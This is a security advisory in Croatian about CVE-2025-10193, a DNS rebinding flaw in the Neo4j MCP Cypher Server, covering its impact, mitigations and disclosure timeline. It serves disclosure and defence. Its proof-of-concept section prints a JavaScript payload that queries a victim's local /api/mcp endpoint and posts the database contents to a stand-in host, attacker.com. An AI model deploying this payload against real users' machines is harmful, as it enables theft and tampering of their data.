Autor: Evan Harris
Zahvaćena komponenta: Neo4j MCP Cypher Server
Ranjive verzije: 0.2.2 do 0.3.1
CVE: CVE-2025-10193
CVSS 4.0 ocjena: 7.4 (Visok) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Pregled

Neo4j MCP Cypher Server pruža HTTP krajnju točku za izvršavanje Cypher upita nad Neo4j bazom podataka.

MCPSec je otkrio ranjivost DNS rebindinga u poslužitelju koja udaljenim napadačima omogućuje zaobilaženje sigurnosnih pravila preglednika i izvršavanje proizvoljnih Cypher upita nad instancom baze dostupnom putem MCP-a.

Neo4j je ovaj problem ispravio u izdanju v0.4.0. Svi korisnici zahvaćenih verzija trebaju odmah ažurirati.


Utjecaj

Napadači dobivaju potpuni POST pristup krajnjoj točki /api/mcp koju poslužuje lokalni Neo4j MCP Cypher Server.

To omogućuje neovlašteno izvršavanje bilo kojeg Cypher upita, čime napadač zapravo dobiva potpunu administrativnu kontrolu nad Neo4j bazom podataka. To može dovesti do:

  • Potpunog izvlačenja podataka osjetljivih informacija pohranjenih u bazi.
  • Neovlaštene izmjene podataka ili njihova oštećenja.
  • Brisanja podataka i uskraćivanja usluge.

Napad DNS rebindinga može se izvršiti unutar nekoliko sekundi od trenutka kada žrtva posjeti zlonamjernu web stranicu, uz jedini uvjet da lokalno ima pokrenut ranjivi poslužitelj.

Dokaz koncepta

Scenarij napada pretpostavlja:

  • Žrtva pokreće ranjivu verziju Neo4j MCP Cypher Servera na svom lokalnom računalu.
  • Žrtva posjećuje zlonamjernu web stranicu pod kontrolom napadača.
  • Web stranica izvršava napad DNS rebindinga, navodeći žrtvin preglednik da šalje naredbe Neo4j poslužitelju.

Nakon što je rebinding dovršen, napadač može iskoristiti žrtvin preglednik za slanje zlonamjernih Cypher upita lokalno posluženoj krajnjoj točki /api/mcp. Podaci se zatim mogu izvući na napadačev poslužitelj, ili se može izvršiti manipulacija i brisanje podataka.

MCPSec je izveo dokaz koncepta napada koristeći sljedeće korake:

  1. Postavite aplikaciju za DNS rebinding (npr. Singularity of Origin).

  2. Konstruirajte JavaScript payload koji poslužuje zlonamjerna web stranica kako bi izvršila upit i izvukla podatke.

const Neo4jRebind = () => {
  // The core attack function. It sends a malicious Cypher query.
  function attack(headers, cookie, body) {
    const maliciousQuery = 'MATCH (n) RETURN n LIMIT 100'; // Query to dump all nodes
    fetch('http://localhost:8000/api/mcp', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Accept': 'application/json, text/event-stream',
        'Connection': 'keep-alive',
        'Cache-Control': 'no-cache'
      },
      body: JSON.stringify({ query: maliciousQuery })
    }).then(response => {
      const ATTACKER_SERVER = 'https://attacker.com/steal-neo4j-data';
      response.text().then(databaseContents => {
        // Send the stolen database contents to the attacker's server
        fetch(ATTACKER_SERVER, {
          method: 'POST',
          body: JSON.stringify(databaseContents)
        });
      }).catch(e => console.error('Failed to parse Neo4j response', e));
    }).catch(e => console.error("Failed to post Cypher query", e));
  }

  // Function to check if the rebound service is the target Neo4j server
  async function isService(headers, cookie, body) {
    try {
      const response = await fetch(`http://localhost:8000/`, { mode: 'no-cors' });
      // A successful ping (even opaque) suggests the port is open.
      return true;
    } catch (e) {
      return false;
    }
  }

  return {
    attack,
    isService
  }
}

Registry["Neo4jRebind"] = Neo4jRebind();
  1. Pokrenite poslužitelj za prikupljanje podataka koji prima POST zahtjev s ukradenim sadržajem baze.

Slijedi primjer JSON podataka izvučenih iz žrtvine baze, koji sadrže potencijalno osjetljive korisničke informacije.

{
  "results": [
    {
      "columns": ["n"],
      "data": [
        {
          "row": [
            {
              "name": "Evan Harris",
              "email": "evan.harris@example.com",
              "role": "admin",
              "password_hash": "sha256:abc123def456..."
            }
          ],
          "meta": [{...}]
        },
        {
          "row": [
            {
              "project": "Project Titan",
              "api_key": "neo-secret-key-xyz789",
              "status": "active"
            }
          ],
          "meta": [{...}]
        }
      ]
    }
  ],
  "errors": []
}

Preporučene mjere ublažavanja

Za korisnike (odmah)

  • Odmah ažurirajte na mcp-neo4j-cypher verziju v0.4.0 ili noviju. Ta verzija sadrži zakrpu koja provjerava HTTP Host zaglavlje kako bi spriječila ovaj napad.
  • Ako ne možete ažurirati, prebacite se s HTTP-a na stdio. Alternativno, postavite filtar mrežnih zahtjeva ispred svog Neo4j Cypher MCP Servera kako biste se obranili od nevaljanih host zaglavlja.

Ova ranjivost prijavljena je timu Neo4j kroz prakse odgovorne objave. Tim je brzo reagirao kako bi potvrdio i zakrpao problem.


Vremenski slijed objave

  • 2025-09-08: Neo4j potvrđuje primitak prijave.
  • 2025-09-09: Neo4j potvrđuje rizik od vektora napada.
  • 2025-09-09: Timu Neo4j pružene detaljne smjernice i primjeri otklanjanja.
  • 2025-09-09: Neo4j otvara pull request s obrambenim mjerama.
  • 2025-09-11: Objavljena je zakrpana verzija v0.4.0.
  • 2025-09-11: Izdaje se CVE-2025-10193 te se objavljuje GitHub sigurnosna obavijest.
  • 2025-09-12: Dogovoren datum objave tehničke obavijesti.
  • 2025-10-13: Objavljena tehnička obavijest.

Zaključak

Ranjivost DNS rebindinga u Neo4j MCP Cypher Serveru ističe visok sigurnosni rizik za razvojne alate koji izlažu lokalna sučelja baza podataka. Iako pružaju moćnu lokalnu funkcionalnost, ovi servisi mogu postati ulaz za web napade ako nisu propisno osigurani. To može dovesti do potpune kompromitacije osjetljivih podataka.

Pohvale timu Neo4j za njihov profesionalan i brz odgovor pri zakrpavanju ove ranjivosti. Svi korisnici zahvaćene komponente trebaju ažurirati na najnoviju verziju kako bi osigurali zaštitu svojih podataka.

Reference